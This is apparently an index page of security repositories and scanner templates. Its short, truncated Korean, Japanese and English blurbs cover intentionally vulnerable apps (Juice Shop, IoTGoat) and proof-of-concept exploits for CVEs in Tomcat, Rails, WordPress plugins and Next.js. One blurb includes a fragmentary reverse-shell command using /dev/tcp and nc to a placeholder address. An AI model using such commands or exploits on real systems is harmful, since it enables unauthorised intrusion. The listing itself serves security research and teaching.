Juiceshopgl

Juice Shop 로고 OWASP Juice Shop Test Coverage Maintainability 세상에서 가장 신뢰할 수 있는 온라인 쇼핑몰. @dschadow — 인터넷 전체에서 최고의 주스 가게! @shehackspurple — 실제로 존재하는 앱 중 가장 버그가 없는 취약한 애플리케이션! @vanderaj — 처음엔 😂😂 그러다 😢 @kramse — 하지만 이건 주스와는 아무 관련이 없어요. @coderPatros의 아내 OWASP Juice Shop은 아마도 가장 현대적이고 정교한, 보안에 취약한 웹...

CVE-2020-14066

CVE-2020-14066 Icewarp Email Server 12.3.0.1 insecurepermissions https://nvd.nist.gov/vuln/detail/CVE-2020-14066...

Telerik_CVE-2019-18935

TelerikUI Python 스캐너 telerikrcescan.py 예제 CVE-2019-18935 취약점 여부를 IP에서 평가 $ python3 telerikrcescan.py -t 192.168.44.21 CVE-2019-18935 취약점 여부를 호스트명에서 평가 $ python3 telerikrcescan.py -t vulnerable.telerik.net CVE-2019-18935 취약점 여부를 CIDR 네트워크 범위에서 평가 $ python3 telerikrcescan.py -r 23.253.4.0/24 대상 목록 ...

CVE-2025-9267

CVE-2025-9267 설명 Windows의 Seagate Toolkit 에는 Toolkit Installer버전 2.35.0.6 이전에 안전하지 않은 DLL 로딩 취약점이 있으며, 설치 프로그램이 DLL의 출처나 무결성을 검증하지 않고 현재 작업 디렉터리에서 DLL을 로드하려고 시도합니다. 설치 프로그램 실행 파일과 동일한 디렉터리에 악성 DLL을 배치할 수 있는 공격자예: 작업/설치 디렉터리를 제어하여는 설치 프로그램이 해당 DLL을 설치 프로그램을 실행하는 사용자의 권한으로 로드 및 실행하게 하여 임의 코드 실행으로 이...

CVE-2026-12191

CVE-2026-12191 Comma AI Openpilot の modeld.py における安全でないデシリアライゼーションの脆弱性である CVE-2026-12191 の概念実証エクスプロイトです。この脆弱性により、ローカルの低権限攻撃者が、pickle.load/pickle.loads のデシリアライゼーションルーチンに細工した悪意のある Python pickle ペイロードを供給することで、任意のコード実行を達成できます。 影響を受けるバージョン Comma AI Openpilot 0.11 影響...

firepwner

CVE-2015-6357: FirePWNER Exploit — Cisco FireSIGHT Management Center SSL 인증 검증 취약점 소개 Cisco FireSIGHT Management Center 인증서 검증 취약점3은 자체적으로 중간 심각도로 CVSS 5.1 의 취약점입니다. 하지만 이 취약점은 SSL 인증서 검증이 왜 그렇게 중요한지를 보여주는 예입니다. 이 익스플로잇에서는 이 취약점을 활용하여 Cisco FireSIGHT 시스템에서 권한 있는 원격 명령 실행을 얻는 방법을 시연합니다. 이 익스플로잇은 S...

CVE-2020-8165

CVE-2020-8165 Python 익스플로잇 이 코드는 Python3를 사용하여 CVE-2020-8165를 익스플로잇하기 위한 것입니다. 이 익스플로잇은 rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 주요 크레딧 원본 CVE 세부 정보: https://vulners.com/cve/CVE-2020-8165 제가 손보고 ArgParse를 추가한...

CVE-2022-48565-POC

CVE-2022-48565 PoC 소개 이것은 Python에서 Plist 파일의 안전하지 않은 역직렬화 에 기반한 취약점 CVE-2022-48565 를 시연하는 개념 증명PoC입니다. 특수하게 조작된 Property ListPlist 파일을 처리함으로써 공격자는 대상 시스템에서 임의 코드를 실행할 수 있으며, 잠재적으로 원격 코드 실행RCE으로 이어질 수 있습니다. 이 저장소에는 이 취약점을 악용하는 다양한 방법을 보여주는 네 개의 PoC 스크립트가 있습니다. 이러한 예제는 악성 코드가 Plist 파일에 포함되어 시스템에서 실...

CVE-2018-8090

CVE-2018-8090 Quickheal Total Security/Internet Security/Antivirus Pro 설치 프로그램의 DLL 하이재킹 영향을 받는 제품: Quick Heal Total Security - 17.00 Quick Heal Internet Security - 17.00 Quick Heal AntiVirus Pro - 17.00 영향을 받는 설치 프로그램: Quick Heal Total Security 64비트 17.00 QHTS64.exe, QHTSFT64.exe - 버전 10.0.1.38...

IoTGoat

공식 레포지토리가https://github.com/OWASP/IoTGoat 로 이전되었습니다 설명 IoTGoat 프로젝트는 의도적으로 취약하게 만든 펌웨어로, OpenWrt를 기반으로 하며 OWASP에서 관리하여 사용자들이 IoT 기기에서 발견되는 가장 일반적인 취약점을 테스트하는 방법을 교육합니다. 취약점 과제는 아래에 언급된 OWASP IoT Top 10과 프로젝트 기여자들의 "이스터 에그"를 기반으로 합니다. 취약점 과제 목록은 IoTGoat challenges wiki 페이지를 참조하십시오. OWASP IoT Top 1...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 개념 증명PoC Apache Tomcat 역직렬화 취약점CVE-2025-24813에 대한 개념 증명 익스플로잇입니다. 이 도구는 공격자가 Tomcat의 세션 관리에서 안전하지 않은 역직렬화를 어떻게 악용할 수 있는지 보여줍니다. 경고 : 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않은 시스템에 대한 무단 사용은 불법입니다. 기능 기본안전 페이로드 및 사용자 정의 페이로드 지원 SSL/TLS 지원 선택적 인증 확인 우회 가능 색상 코드 출력으로...

Danswer - Insecure Direct Object Reference

The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/fileid interface to view any user's file. id: CVE-2024-9617 info: name: Danswer - Insecure Direct Object Reference author: s4e-io severity: medium...

osCommerce 2.3.4.1 - Remote Code Execution

osCommerce Online Merchant 2.3.4.1 contains a remote code execution caused by insecure default configuration and missing authentication in the installer workflow, letting unauthenticated attackers execute arbitrary PHP code via install4.php, exploit requires accessible /install/ directory after...

Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization

Jenkins Pipeline: Groovy Plugin workflow-cps version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with...

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

WP Maps Pro (wp-google-map-gold) <= 6.1.0 - Unauthenticated Administrator Account Creation

The WP Maps Pro plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Creation in all versions up to, and including, 6.1.0. This is due to the wpgmptempaccessajax AJAX action being registered with wpajaxnopriv and protected only by a nonce check using the...

Masteriyo LMS <= 1.7.3 - Insecure Direct Object Reference

Authentication Bypass Using an Alternate Path or Channel vulnerability in Masteriyo Masteriyo - LMS. Unauth access to course progress.This issue affects Masteriyo - LMS: from n/a through 1.7.3. id: CVE-2024-33939 info: name: Masteriyo LMS = 1.7.3 - Insecure Direct Object Reference author:...

GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...

LearnPress < 4.2.7.4 - Course Material - Information Disclosure

LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by insecure handling in class-lp-rest-material-controller.php, letting unauthenticated attackers extract paid course material, exploit requires no authentication. id: CVE-2024-11868 info: name: LearnPress 4.2.7.4 -...

Next.js Middleware - Server-Side Request Forgery

In Next.js prior to versions 14.2.32 and 15.4.7, when request headerswere insecurely passed to NextResponse.next, an attacker could exploit this behavior to perform Server-Side Request Forgery SSRF attacks. id: CVE-2025-57822 info: name: Next.js Middleware - Server-Side Request Forgery author:...